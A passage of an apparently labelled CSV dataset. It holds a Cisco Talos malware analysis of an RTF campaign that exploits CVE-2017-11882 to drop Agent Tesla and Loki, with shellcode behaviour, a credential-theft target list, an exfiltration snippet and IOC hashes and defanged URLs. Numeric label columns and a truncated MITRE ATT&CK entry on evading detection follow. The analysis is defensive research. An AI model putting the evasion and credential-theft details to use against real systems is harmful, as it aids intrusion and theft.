Agent Tesla, Loki with PyREbox Software Vulnerability Information Vulnerability Information BACK Vulnerability Reports Microsoft Advisories Reputation Center Reputation Center BACK IP & Domain Reputation Talos File Reputation Reputation Support AMP Threat Naming Conventions IP Blacklist Download AWBO Exercises Categories Library Support Communities Support Communities BACK Snort Community ClamAV Community Reputation Center Support SpamCop Careers Blog About Monday, October 15, 2018 Old dog, new tricks - Analysing new RTF-based campaign distributing Agent Tesla, Loki with PyREbox This blog post was authored by Edmund Brumaghin and Holger Unterbrink with contributions from Emmanuel Tacheau. Executive Summary Cisco Talos has discovered a new malware campaign that drops the sophisticated information-stealing trojan called ""Agent Tesla,"" and other malware such as the Loki information stealer. Initially, Talos' telemetry systems detected a highly suspicious document that wasn't picked up by common antivirus solutions. However, Threat Grid, Cisco's unified malware analysis and threat intelligence platform, identified the unknown file as malware. The adversaries behind this malware use a well-known exploit chain, but modified it in such a way so that antivirus solutions don't detect it. In this post, we will outline the steps the adversaries took to remain undetected, and why it's important to use more sophisticated software to track these kinds of attacks. If undetected, Agent Tesla has the ability to steal user's login information from a number of important pieces of software, such as Google Chrome, Mozilla Firefox, Microsoft Outlook and many others. It can also be used to capture screenshots, record webcams, and allow attackers to install additional malware on infected systems. Technical Details In most cases, the first stage of the attack occurred in a similar way to the FormBook malware campaign, which we discussed earlier this year in a blog post. The actors behind the previous FormBook campaign used CVE-2017-0199 \xe2\x80\x94 a remote code execution vulnerability in multiple versions of Microsoft Office \xe2\x80\x94 to download and open an RTF document from inside a malicious DOCX file. We have also observed newer campaigns being used to distribute Agent Tesla and Loki that are leveraging CVE-2017-11882. An example of one of the malware distribution URLs is in the screenshot below. Besides Agent Tesla and Loki, this infrastructure is also distributing many other malware families, such as Gamarue, which has the ability to completely take over a user's machine and has the same capabilities as a typical information stealer. The aforementioned FormBook blog contains more information about this stage. Many users have the assumption that modern Microsoft Word documents are less dangerous than RTF or DOC files. While this is partially true, attackers can still find ways with these newer file formats to exploit various vulnerabilities. Figure 1 - First stage exploit In the case of Agent Tesla, the downloaded file was an RTF file with the SHA256 hash cf193637626e85b34a7ccaed9e4459b75605af46cedc95325583b879990e0e61. At the time the file was analyzed, it had almost no detections on the multi-engine antivirus scanning website VirusTotal. Only two out of 58 antivirus programs found anything suspicious. The programs that flagged this sample were only warning about a wrongly formatted RTF file. AhnLab-V3 marked it for ""RTF/Malform-A.Gen,"" while Zoner said it was likely flagged for ""RTFBadVersion."" However, Cisco's Threat Grid painted a different picture, and identified the file as malware. Figure 2 - ThreatGrid Behavior Indicators (BI) Figure 2 above shows just a subset of the triggered behaviour indicators (BI), and the part of the process tree below shows the highly suspicious execution chain. Figure 3 - ThreatGrid process tree In figure 3, we can see that Winword.exe starts, and a bit later, a svchost process executes the Microsoft Equation Editor (EQNEDT32.exe), which starts a process called ""scvhost.exe"". Equation Editor is a tool that Microsoft Office uses as a helper application to embed mathematical equations into documents. Word for example, uses OLE/COM functions to start the Equation Editor, which matches what we see in figure 3. It's pretty uncommon for the Equation Editor application to start other executables, like the executable shown in figure 3. Not to mention that an executable using such a similar name, like the system file ""svchost.exe,"" is suspicious on its own. A user could easily miss the fact that the file name is barely changed. The Threat Grid process timeline below confirms that this file is behaving like typical malware. Figure 4 - ThreatGrid process timeline You can see in figure 4 at points 1 and 2 that the Equation Editor downloaded a file called ""xyz[1].123"" and then created the scvhost.exe process, which created another instance [scvhost.exe(26)] of itself a bit later (blue rectangle). Typical command and control (C2) traffic follows at point 4. At this point, we were sure that this is malware. The question was \xe2\x80\x94 why isn't it detected by any antivirus systems? And how does it manage to fly under the radar? The malicious RTF file The RTF standard is a proprietary document file format developed by Microsoft as a cross-platform document interchange. A simplified, standard RTF file looks like what you can see in figure 4. It is built out of text and control words (strings). The upper portion is the source code and the lower shows how this file is displayed in Microsoft Word. Figure 5 - Simple RTF document RTF files do not support any macro language, but they do support Microsoft Object Linking and Embedding (OLE) objects and Macintosh Edition Manager subscriber objects via the '\\object' control word. The user can link or embed an object from the same or different format into the RTF document. For example, the user can embed a mathematical equation formula, created by the Microsoft Equation Editor into the RTF document. Simplified, it would be stored in the object's data as a hexadecimal data stream. If the user opens this RTF file with Word, it hands over the object data to the Equation Editor application via OLE functions and gets the data back in a format that Word can display. In other words, the equation is displayed as being embedded in the document, even if Word could not handle it without the external application. This is pretty much what the file ""3027748749.rtf"" is doing. The only difference is, it is adding a lot of obfuscation, as you can see in figure 6. The big disadvantages of the RTF standard are that it comes with so many control words and common RTF parsers are supposed to ignore anything they don't know. Therefore, adversaries have plenty of options to obfuscate the content of the RTF files. Figure 6 - 3027748749.rtf We were able to use the rtfdump/rtfobj tools to verify the structure and extract the actual object data payload, despite the fact that the RTF file was heavily obfuscated. Figure 8 shows that the file tries to start the Microsoft Equation Editor (class name: EQuATioN.3). Figure 7 - rtfdump Figure 8 - rtfobj In figure 6, you can also see that the adversaries are using the \\objupdate trick. This forces the embedded object to update before it's displayed. In other words, the user does not have to click on the object before it's loaded. This would be the case for ""normal"" objects. But by force-opening the file, the exploit starts right away. Let's have a look to the objdata content from above, converted to a hexadecimal binary stream. More header details can be found here. Figure 9 - Headers We can find a similar MTEF Header like the one described in the FormBook post, but to avoid detection, the adversaries have changed the header's values. The only difference is that, except in the MTEF version field, the actors have filled the header fields with random values. The MTEF version field needs to be 2 or 3 to make the exploit work. Figure 10 - MTEF V2 header After the MTEF header, we have an unknown MTEF byte stream tag of two bytes (F1 01) followed by the a Font Tag (08 E0 7B \xe2\x80\xa6 ).The bytes following the Font Tag (B9 C3 \xe2\x80\xa6) do not look like a normal font name, so this is a good indicator that we are looking at an exploit. The bytes do look very different to what we have seen in our research mentioned previously, but let's decode them. Figure 11 - Shellcode - new campaign. This looks pretty similar to what we have seen before. In figure 12, you can see the decoded shellcode from our previous research. Figure 12 - Shellcode - former campaign. The adversaries have just changed registers and some other minor parts. At this point, we are already pretty sure that this is CVE-2017-11882, but let's prove this. PyREBox rock 'n' roll In order to verify that the malicious RTF file is exploiting CVE-2017-11882, we used PyREBox, a dynamic analysis engine developed by Talos. This tool allows us to instrument the execution of a complete system and monitor different events, such as instruction execution, memory read and writes, operating system events, and also provides interactive analysis capabilities that allow us to inspect the state of the emulated system at any time. For additional information about the tool, please refer to the blog posts about its release and the malware monitoring scripts presented at the Hack in the Box 2018 conference. For this analysis, we leveraged the shadow stack plugin, which was released together with other exploit analysis scripts (shellcode detection and stack pivoting detection) at EuskalHack Security Congress III earlier this year (slides available). This script monitors all the call and RET instructions executed under the context of a given process (in this case, the equation editor process), and maintains a shadow stack that keeps track of all the valid return addresses (those that follow every executed call instruction). The only thing we need to do is configure the plugin to monitor the equation editor process (the plugin will wait for it to be created), and open the RTF document inside the emulated guest. PyREBox will stop the execution of the system whenever a RET instruction jumps into an address that is not preceded by a call instruction. This approach allows us to detect the exploitation of stack overflow bugs that overwrite the return address stored on the stack. Once the execution is stopped, PyREBox spawns an interactive IPython shell that allows us to inspect the system and debug and/or trace the execution of the equation editor process. Figure 13 - PyREBox stops the execution the moment it detects the first return to an invalid address: 0x44fd22. PyREBox will stop the execution on the return address at 0x00411874, which belongs to the vulnerable function reported in CVE-2017-11882. In this case, the malware authors decided to leverage this vulnerability to overwrite the return address with an address contained in Equation Editor's main executable module: 0x0044fd22. If we examine this address (see Figure 13), we see that it points to another RET instruction that will pop another address from the stack and jump into it. The shadow stack plugin detects this situation again, and stops the execution on the next step of the exploit. Figure 14 \xe2\x80\x94 First stage of the shellcode. Figure 14 shows the first stage of the shellcode, which is executed right after the second RET. This shellcode will call to GlobalLock function (0x18f36e) and afterward, will jump into a second buffer containing the second stage of the shellcode. Figure 15 - Start of the second stage of the shellcode. The second stage of the shellcode consists of a sequence of jmp/call instructions followed by a decryption loop. Figure 16 - Decryption loop of the second stage of the shellcode. This decryption loop will unpack the final payload of the shellcode, and finally jump into this decoded buffer. PyREBox allows us to dump the memory buffer containing the shellcode at any point during the execution. There are several ways to achieve this, but one possible way is to use the volatility framework (which is available through the PyREBox shell) to list the VAD regions in the process and dump the buffer containing the interesting code. This buffer can then be imported into IDA Pro for a deeper analysis. Figure 17 \xe2\x80\x94 Decrypted buffer of the second stage (final stage of the shellcode). This final stage of the shellcode is quite straightforward. It leverages standard techniques to find the kernel32.dll module in the linked list of loaded modules available in the PEB, and afterward, will parse its export table to locate the LoadLibrary and GetProcAddress functions. By using these functions, the script resolves several API functions (ExpandEnvironmentStrings, URLDownloadToFileA, and ShellExecute) to download and execute the xyz.123 binary from the URL, which we have already seen in the Threat Grid analysis. The shellcode starts this executable with the name ""scvhost.exe,"" which we have also seen before in the Threat Grid report. We have also seen several other campaigns using the exact same infection chain, but delivering Loki as the final payload. We list these in the IOC sections. Payload details Let's look into the final payload file ""xyz.123"" (a8ac66acd22d1e194a05c09a3dc3d98a78ebcc2914312cdd647bc209498564d8) or ""scvhost.exe"" if you prefer the process name from above. $ file xyz123.exe xyz123.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows Loading the file into dnSpy \xe2\x80\x94 a .NET assembly editor, decompiler and debugger \xe2\x80\x94 confirms that it's a .NET executable that's heavily obfuscated.\xc2 Figure 18 - xyz123.exe. The execution starts at the class constructor (cctor) executing the 0486\ method. It loads a large array into memory and decodes it. The rest of the cctor reconstructs a xs.dll and other code from the array and proceeds at the entry point with additional routines. At the end, it jumps by calling the P.M() method into the xs.dll. Figure 19 - P.M() method. This one is interesting because it presents us a well-known artifact that shows that the assembly was obfuscated with the Agile.Net obfuscator. Figure 20 - Agile.Net obfuscator artifact. Since there is no custom obfuscation, we can just execute the file, wait a while, and dump it via Megadumper, a tool that dumps .NET executables directly from memory. This already looks much better. Figure 21 - Deobfuscated code step one. Unfortunately, the obfuscator has encrypted all strings with the H.G() method and we cannot see the content of those strings. Figure 22 - H.G() method Luckily, the de4dot .NET deobfuscator tool kills this with one command. We just need to tell it which method in the sample is used to decrypt the strings at runtime. This is done by handing over the Token from the corresponding method, in this case, 0x06000001. De4dot has an issue with auto-detecting the Agile .NETobfuscator, so we have to hand over this function via the '-p' option. Figure 23 - de4dot .NET deobfuscator. Even if it looks like the operation failed, it has successfully replaced all obfuscated strings and recovered them, as we can see below. Figure 24 - Decoded strings. Examining the source code shows us that the adversaries are using an information stealer/RAT sold by a company selling grayware products: Agent Tesla. Agent Tesla contains a number of questionable functions, such as password stealing, screen capturing and the ability to download additional malware. However, the sellers of this product say that it is used for password recovery and child monitoring. \xc2 Figure 25 - Sample of password stealing methods. The malware comes with password-stealing routines for more than 25 common applications and other rootkit functions such as keylogging, clipboard stealing, screenshots and webcam access. Passwords are stolen from the following applications, among others: Chrome Firefox Internet Explorer Yandex Opera Outlook Thunderbird IncrediMail Eudora FileZilla WinSCP FTP Navigator Paltalk Internet Download Manager JDownloader Apple keychain SeaMonkey Comodo Dragon Flock DynDNS This version comes with routines for SMTP, FTP and HTTP exfiltration, but is using only the HTTP POST one which you can see in figure 26 below. The decision as to which exfiltration method is used is hardcoded in a variable stored in the configuration, which is checked in almost all methods like this: if (Operators.CompareString(_P.Exfil, ""webpanel"", false) == 0) ... else if (Operators.CompareString(_P.Exfil, ""smtp"", false) == 0) ... else if (Operators.CompareString(_P.Exfil, ""ftp"", false) == 0) Figure 26 - HTTP exfiltration routine. For example, it creates the POST request string, as you can see below in figure 27. Figure 27 - POST request. Then, it encrypts it with 3DES before sending it (figure 28). The _P.Y (""0295A...1618C"") method in figure 26 creates the MD5 hash of the string. This hash is used as secret for the 3DES encryption. Figure 28 - 3DES Encryption method Conclusion This is a highly effective malware campaign that is able to avoid detection by most antivirus applications. Therefore, it is necessary to have additional tools such as Threat Grid to defend your organization from these kinds of threats. The actor behind this malware used the RTF standard because of its complexity, and used a modified exploit of a Microsoft Office vulnerability to download Agent Tesla and other malware. It is not completely clear if the actor changed the exploit manually, or if they used a tool to produce the shellcode. Either way, this shows that the actor or their tools have ability to modify the assembler code in such a way that the resulting opcode bytes look completely different, but still exploit the same vulnerability. This is a technique that could very well be used to deploy other malware in a stealthy way in the future. IOC Maldocs cf193637626e85b34a7ccaed9e4459b75605af46cedc95325583b879990e0e61 - 3027748749.rtf A8ac66acd22d1e194a05c09a3dc3d98a78ebcc2914312cdd647bc209498564d8 - xyz.123 38fa057674b5577e33cee537a0add3e4e26f83bc0806ace1d1021d5d110c8bb2 - Proforma_Invoice_AMC18.docx 4fa7299ba750e4db0a18001679b4a23abb210d4d8e6faf05ce2cbe2586aff23f - Proforma_Invoice_AMC19.docx 1dd34c9e89e5ce7a3740eedf05e74ef9aad1cd6ce7206365f5de78a150aa9398 - HSBC8117695310_doc Distribution Domains avast[.]dongguanmolds[.]com avast[.]aandagroupbd[.]website Loki related samples from hxxp://avast[.]dongguanmolds[.]com a8ac66acd22d1e194a05c09a3dc3d98a78ebcc2914312cdd647bc209498564d8 - xyz.123 5efab642326ea8f738fe1ea3ae129921ecb302ecce81237c44bf7266bc178bff - xyz.123 55607c427c329612e4a3407fca35483b949fc3647f60d083389996d533a77bc7 - xyz.123 992e8aca9966c1d42ff66ecabacde5299566e74ecb9d146c746acc39454af9ae - xyz.123 1dd34c9e89e5ce7a3740eedf05e74ef9aad1cd6ce7206365f5de78a150aa9398 - HSBC8117695310.doc d9f1d308addfdebaa7183ca180019075c04cd51a96b1693a4ebf6ce98aadf678 - plugin.wbk Loki related URLs: hxxp://46[.]166[.]133[.]164/0x22/fre.php hxxp://alphastand[.]top/alien/fre.php hxxp://alphastand[.]trade/alien/fre.php hxxp://alphastand[.]win/alien/fre.php hxxp://kbfvzoboss[.]bid/alien/fre.php hxxp://logs[.]biznetviigator[.]com/0x22/fre.php Other related samples 1dd34c9e89e5ce7a3740eedf05e74ef9aad1cd6ce7206365f5de78a150aa9398 7c9f8316e52edf16dde86083ee978a929f4c94e3e055eeaef0ad4edc03f4a625 8b779294705a84a34938de7b8041f42b92c2d9bcc6134e5efed567295f57baf9 996c88f99575ab5d784ad3b9fa3fcc75c7450ea4f9de582ce9c7b3d147f7c6d5 dcab4a46f6e62cfaad2b8e7b9d1d8964caaadeca15790c6e19b9a18bc3996e18 Posted by Holger Unterbrink at 12:00 PM Share This Post No comments: Post a Comment Newer Post Older Post Home Subscribe to: Post Comments (Atom) Subscribe To Our Feed Posts Comments Subscribe via Email Blog Archive \xe2\x96\xba\xc2 2019 (191) \xe2\x96\xba\xc2 September (18) \xe2\x96\xba\xc2 August (21) \xe2\x96\xba\xc2 July (23) \xe2\x96\xba\xc2 June (16) \xe2\x96\xba\xc2 May (25) \xe2\x96\xba\xc2 April (25) \xe2\x96\xba\xc2 March (24) \xe2\x96\xba\xc2 February (19) \xe2\x96\xba\xc2 January (20) \xe2\x96\xbc\xc2 2018 (198) \xe2\x96\xba\xc2 December (16) \xe2\x96\xba\xc2 November (15) \xe2\x96\xbc\xc2 October (26) Vulnerability Spotlight: Multiple Vulnerabilities ... Anatomy of a sextortion scam Talos Vulnerability Discovery Year in Review - 201... GPlayed's younger brother is a banker \xe2\x80\x94 and it's a... Threat Roundup for October 19 to October 26 Vulnerability Spotlight: Talos-2018-0694 - MKVTool... Vulnerability Spotlight: TALOS-2018-0635/0636 - So... Beers with Talos EP40: BWT XL feat. SuperMicro, Gi... Threat Roundup for October 12 to October 19 Beers with Talos EP 39: VB 2018 Rundown and Preval... Tracking Tick Through Recent Campaigns Targeting E... Vulnerability Spotlight: Live Networks LIVE555 str... Vulnerability Spotlight: Linksys ESeries Multiple ... Old dog, new tricks - Analysing new RTF-based camp... Threat Roundup for October 5 to October 12 GPlayed Trojan - .Net playing with Google Market Microsoft WindowsCodecs.dll SniffAndConvertToWideS... Vulnerability Spotlight: VMWare Workstation DoS Vu... Microsoft Patch Tuesday \xe2\x80\x94 October 18: Vulnerabilit... Vulnerability in the Intel Unified Shader compiler... Threat Roundup Sept 28 - Oct 5 Vulnerability Spotlight: Google PDFium JBIG2 Image... BruCON Primer: 10 Years and Cisco Talos Talks Vulnerability Spotlight: Adobe Acrobat Reader DC C... Vulnerability Spotlight: Multiple Issues in Foxit ... Vulnerability Spotlight: Multiple vulnerabilities ... \xe2\x96\xba\xc2 September (16) \xe2\x96\xba\xc2 August (12) \xe2\x96\xba\xc2 July (20) \xe2\x96\xba\xc2 June (15) \xe2\x96\xba\xc2 May (15) \xe2\x96\xba\xc2 April (21) \xe2\x96\xba\xc2 March (10) \xe2\x96\xba\xc2 February (14) \xe2\x96\xba\xc2 January (18) \xe2\x96\xba\xc2 2017 (171) \xe2\x96\xba\xc2 December (9) \xe2\x96\xba\xc2 November (11) \xe2\x96\xba\xc2 October (15) \xe2\x96\xba\xc2 September (17) \xe2\x96\xba\xc2 August (16) \xe2\x96\xba\xc2 July (14) \xe2\x96\xba\xc2 June (14) \xe2\x96\xba\xc2 May (19) \xe2\x96\xba\xc2 April (17) \xe2\x96\xba\xc2 March (17) \xe2\x96\xba\xc2 February (12) \xe2\x96\xba\xc2 January (10) \xe2\x96\xba\xc2 2016 (98) \xe2\x96\xba\xc2 December (9) \xe2\x96\xba\xc2 November (8) \xe2\x96\xba\xc2 October (11) \xe2\x96\xba\xc2 September (8) \xe2\x96\xba\xc2 August (8) \xe2\x96\xba\xc2 July (9) \xe2\x96\xba\xc2 June (10) \xe2\x96\xba\xc2 May (6) \xe2\x96\xba\xc2 April (12) \xe2\x96\xba\xc2 March (7) \xe2\x96\xba\xc2 February (6) \xe2\x96\xba\xc2 January (4) \xe2\x96\xba\xc2 2015 (62) \xe2\x96\xba\xc2 December (3) \xe2\x96\xba\xc2 November (3) \xe2\x96\xba\xc2 October (6) \xe2\x96\xba\xc2 September (6) \xe2\x96\xba\xc2 August (5) \xe2\x96\xba\xc2 July (4) \xe2\x96\xba\xc2 June (6) \xe2\x96\xba\xc2 May (3) \xe2\x96\xba\xc2 April (7) \xe2\x96\xba\xc2 March (8) \xe2\x96\xba\xc2 February (7) \xe2\x96\xba\xc2 January (4) \xe2\x96\xba\xc2 2014 (67) \xe2\x96\xba\xc2 December (4) \xe2\x96\xba\xc2 November (5) \xe2\x96\xba\xc2 October (6) \xe2\x96\xba\xc2 September (10) \xe2\x96\xba\xc2 August (4) \xe2\x96\xba\xc2 July (3) \xe2\x96\xba\xc2 June (6) \xe2\x96\xba\xc2 May (4) \xe2\x96\xba\xc2 April (10) \xe2\x96\xba\xc2 March (4) \xe2\x96\xba\xc2 February (3) \xe2\x96\xba\xc2 January (8) \xe2\x96\xba\xc2 2013 (30) \xe2\x96\xba\xc2 December (3) \xe2\x96\xba\xc2 November (2) \xe2\x96\xba\xc2 October (5) \xe2\x96\xba\xc2 September (2) \xe2\x96\xba\xc2 August (2) \xe2\x96\xba\xc2 July (3) \xe2\x96\xba\xc2 June (1) \xe2\x96\xba\xc2 May (2) \xe2\x96\xba\xc2 April (1) \xe2\x96\xba\xc2 March (1) \xe2\x96\xba\xc2 February (3) \xe2\x96\xba\xc2 January (5) \xe2\x96\xba\xc2 2012 (53) \xe2\x96\xba\xc2 December (3) \xe2\x96\xba\xc2 November (1) \xe2\x96\xba\xc2 October (2) \xe2\x96\xba\xc2 September (6) \xe2\x96\xba\xc2 August (7) \xe2\x96\xba\xc2 July (7) \xe2\x96\xba\xc2 June (4) \xe2\x96\xba\xc2 May (6) \xe2\x96\xba\xc2 April (5) \xe2\x96\xba\xc2 March (3) \xe2\x96\xba\xc2 February (7) \xe2\x96\xba\xc2 January (2) \xe2\x96\xba\xc2 2011 (23) \xe2\x96\xba\xc2 December (1) \xe2\x96\xba\xc2 November (4) \xe2\x96\xba\xc2 October (3) \xe2\x96\xba\xc2 September (1) \xe2\x96\xba\xc2 August (2) \xe2\x96\xba\xc2 July (3) \xe2\x96\xba\xc2 June (1) \xe2\x96\xba\xc2 May (2) \xe2\x96\xba\xc2 April (1) \xe2\x96\xba\xc2 March (2) \xe2\x96\xba\xc2 February (1) \xe2\x96\xba\xc2 January (2) \xe2\x96\xba\xc2 2010 (93) \xe2\x96\xba\xc2 December (4) \xe2\x96\xba\xc2 November (2) \xe2\x96\xba\xc2 October (4) \xe2\x96\xba\xc2 September (7) \xe2\x96\xba\xc2 August (9) \xe2\x96\xba\xc2 July (11) \xe2\x96\xba\xc2 June (12) \xe2\x96\xba\xc2 May (5) \xe2\x96\xba\xc2 April (12) \xe2\x96\xba\xc2 March (10) \xe2\x96\xba\xc2 February (7) \xe2\x96\xba\xc2 January (10) \xe2\x96\xba\xc2 2009 (146) \xe2\x96\xba\xc2 December (14) \xe2\x96\xba\xc2 November (10) \xe2\x96\xba\xc2 October (12) \xe2\x96\xba\xc2 September (13) \xe2\x96\xba\xc2 August (9) \xe2\x96\xba\xc2 July (19) \xe2\x96\xba\xc2 June (11) \xe2\x96\xba\xc2 May (13) \xe2\x96\xba\xc2 April (10) \xe2\x96\xba\xc2 March (11) \xe2\x96\xba\xc2 February (13) \xe2\x96\xba\xc2 January (11) \xe2\x96\xba\xc2 2008 (37) \xe2\x96\xba\xc2 December (12) \xe2\x96\xba\xc2 November (6) \xe2\x96\xba\xc2 October (7) \xe2\x96\xba\xc2 September (6) \xe2\x96\xba\xc2 August (3) \xe2\x96\xba\xc2 May (3) Recommended Blogs Cisco Blog Emotet is back after a summer break Snort Blog Snort OpenAppID Detectors have been updated ClamAV\xc2\xae blog ClamAV 0.102.0 Release Candidate is now available Software Reputation Center Vulnerability Information Microsoft Advisory Snort Rules IP Blacklist Download AMP Naming Conventions Talos File Reputation AWBO Exercises Library Support Communities About Careers Blog ThreatSource Newsletter Beers with Talos Podcast Connect With Us \xc2\xa9 Cisco Systems, Inc. and/or its affiliates. All rights reserved. View our Privacy Policy here.","1","1","0","0","0","1","0","1","0","1","1","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","1","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Indicator Removal from Tools - Enterprise | MITRE ATT&CK\xe2\x84\xa2 Matrices Tactics PRE-ATT&CK Enterprise Mobile Techniques PRE-ATT&CK Enterprise Mobile Mitigations Enterprise Mobile Groups Software Resources General Information Getting Started ATT&CKcon Working with ATT&CK FAQ Updates Previous Versions Related Projects Blog\xc2 Contribute Register to stream ATT&CKcon 2.0 October 29-30 ENTERPRISE ENTERPRISE MOBILE PRE-ATT&CK TECHNIQUES All Initial Access Drive-by Compromise Exploit Public-Facing Application External Remote Services Hardware Additions Replication Through Removable Media Spearphishing Attachment Spearphishing Link Spearphishing via Service Supply Chain Compromise Trusted Relationship Valid Accounts Execution AppleScript CMSTP Command-Line Interface Compiled HTML File Control Panel Items Dynamic Data Exchange Execution through API Execution through Module Load Exploitation for Client Execution Graphical User Interface InstallUtil Launchctl Local Job Scheduling LSASS Driver Mshta PowerShell Regsvcs/Regasm Regsvr32 Rundll32 Scheduled Task Scripting Service Execution Signed Binary Proxy Execution Signed Script Proxy Execution Source Space after Filename Third-party Software Trap Trusted Developer Utilities User Execution Windows Management Instrumentation Windows Remote Management XSL Script Processing Persistence .bash_profile and .bashrc Accessibility Features Account Manipulation AppCert DLLs AppInit DLLs Application Shimming Authentication Package BITS Jobs Bootkit Browser Extensions Change Default File Association Component Firmware Component Object Model Hijacking Create Account DLL Search Order Hijacking Dylib Hijacking External Remote Services File System Permissions Weakness Hidden Files and Directories Hooking Hypervisor Image File Execution Options Injection Kernel Modules and Extensions Launch Agent Launch Daemon Launchctl LC_LOAD_DYLIB Addition Local Job Scheduling Login Item Logon Scripts LSASS Driver Modify Existing Service Netsh Helper DLL New Service Office Application Startup Path Interception Plist Modification Port Knocking Port Monitors Rc.common Re-opened Applications Redundant Access Registry Run Keys / Startup Folder Scheduled Task Screensaver Security Support Provider Service Registry Permissions Weakness Setuid and Setgid Shortcut Modification SIP and Trust Provider Hijacking Startup Items System Firmware Systemd Service Time Providers Trap Valid Accounts Web Shell Windows Management Instrumentation Event Subscription Winlogon Helper DLL Privilege Escalation Access Token Manipulation Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Bypass User Account Control DLL Search Order Hijacking Dylib Hijacking Exploitation for Privilege Escalation Extra Window Memory Injection File System Permissions Weakness Hooking Image File Execution Options Injection Launch Daemon New Service Path Interception Plist Modification Port Monitors Process Injection Scheduled Task Service Registry Permissions Weakness Setuid and Setgid SID-History Injection Startup Items Sudo Sudo Caching Valid Accounts Web Shell Defense Evasion Access Token Manipulation Binary Padding BITS Jobs Bypass User Account Control Clear Command History CMSTP Code Signing Compile After Delivery Compiled HTML File Component Firmware Component Object Model Hijacking Control Panel Items DCShadow Deobfuscate/Decode Files or Information Disabling Security Tools DLL Search Order Hijacking DLL Side-Loading Execution Guardrails Exploitation for Defense Evasion Extra Window Memory Injection File Deletion File Permissions Modification File System Logical Offsets Gatekeeper Bypass Group Policy Modification Hidden Files and Directories Hidden Users Hidden Window HISTCONTROL Image File Execution Options Injection Indicator Blocking Indicator Removal from Tools Indicator Removal on Host Indirect Command Execution Install Root Certificate InstallUtil Launchctl LC_MAIN Hijacking Masquerading Modify Registry Mshta Network Share Connection Removal NTFS File Attributes Obfuscated Files or Information Plist Modification Port Knocking Process Doppelg\xc3\xa4nging Process Hollowing Process Injection Redundant Access Regsvcs/Regasm Regsvr32 Rootkit Rundll32 Scripting Signed Binary Proxy Execution Signed Script Proxy Execution SIP and Trust Provider Hijacking Software Packing Space after Filename Template Injection Timestomp Trusted Developer Utilities Valid Accounts Virtualization/Sandbox Evasion Web Service XSL Script Processing Credential Access Account Manipulation Bash History Brute Force Credential Dumping Credentials in Files Credentials in Registry Exploitation for Credential Access Forced Authentication Hooking Input Capture Input Prompt Kerberoasting Keychain LLMNR/NBT-NS Poisoning and Relay Network Sniffing Password Filter DLL Private Keys Securityd Memory Two-Factor Authentication Interception Discovery Account Discovery Application Window Discovery Browser Bookmark Discovery Domain Trust Discovery File and Directory Discovery Network Service Scanning Network Share Discovery Network Sniffing Password Policy Discovery Peripheral Device Discovery Permission Groups Discovery Process Discovery Query Registry Remote System Discovery Security Software Discovery System Information Discovery System Network Configuration Discovery System Network Connections Discovery System Owner/User Discovery System Service Discovery System Time Discovery Virtualization/Sandbox Evasion Lateral Movement AppleScript Application Deployment Software Distributed Component Object Model Exploitation of Remote Services Logon Scripts Pass the Hash Pass the Ticket Remote Desktop Protocol Remote File Copy Remote Services Replication Through Removable Media Shared Webroot SSH Hijacking Taint Shared Content Third-party Software Windows Admin Shares Windows Remote Management Collection Audio Capture Automated Collection Clipboard Data Data from Information Repositories Data from Local System Data from Network Shared Drive Data from Removable Media Data Staged Email Collection Input Capture Man in the Browser Screen Capture Video Capture Command and Control Commonly Used Port Communication Through Removable Media Connection Proxy Custom Command and Control Protocol Custom Cryptographic Protocol Data Encoding Data Obfuscation Domain Fronting Domain Generation Algorithms Fallback Channels Multi-hop Proxy Multi-Stage Channels Multiband Communication Multilayer Encryption Port Knocking Remote Access Tools Remote File Copy Standard Application Layer Protocol Standard Cryptographic Protocol Standard Non-Application Layer Protocol Uncommonly Used Port Web Service Exfiltration Automated Exfiltration Data Compressed Data Encrypted Data Transfer Size Limits Exfiltration Over Alternative Protocol Exfiltration Over Command and Control Channel Exfiltration Over Other Network Medium Exfiltration Over Physical Medium Scheduled Transfer Impact Data Destruction Data Encrypted for Impact Defacement Disk Content Wipe Disk Structure Wipe Endpoint Denial of Service Firmware Corruption Inhibit System Recovery Network Denial of Service Resource Hijacking Runtime Data Manipulation Service Stop Stored Data Manipulation Transmitted Data Manipulation Home Techniques Enterprise Indicator Removal from Tools Indicator Removal from Tools If a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems. A good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may use Software Packing or otherwise modify the file so it has a different signature, and then re-use the malware. ID:\xc2 T1066 Tactic: Defense Evasion Platform:\xc2 Linux, macOS, Windows Data Sources:\xc2 Process use of network, Process monitoring, Process command-line parameters, Anti-virus, Binary file metadata Defense Bypassed:\xc2 Log analysis, Host intrusion prevention systems, Anti-virus Version:\xc2 1.0 Mitigations This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features. Examples Name Description APT3 APT3 has been known to remove indicators of compromise from tools. [11] Cobalt Strike Cobalt Strike includes a capability to modify the ""beacon"" payload to eliminate known signatures or unpacking methods. [1] Daserf Analysis of Daserf has shown that it regularly undergoes technical improvements to evade anti-virus detection. [5] Deep Panda Deep Panda has updated and modified its malware, resulting in different hash values that evade detection. [6] GravityRAT The author of GravityRAT submitted samples to VirusTotal for testing, showing that the author modified the code to try to hide the DDE object in a different part of the document. [4] OilRig OilRig has tested malware samples to determine AV detection and subsequently modified the samples to ensure AV evasion. [8] [9] Patchwork Patchwork apparently altered NDiskMonitor samples by adding four bytes of random letters in a likely attempt to change the file hashes. [7] PowerSploit PowerSploit's Find-AVSignature AntivirusBypass module can be used to locate single byte anti-virus signatures. [2] [3] Soft Cell Soft 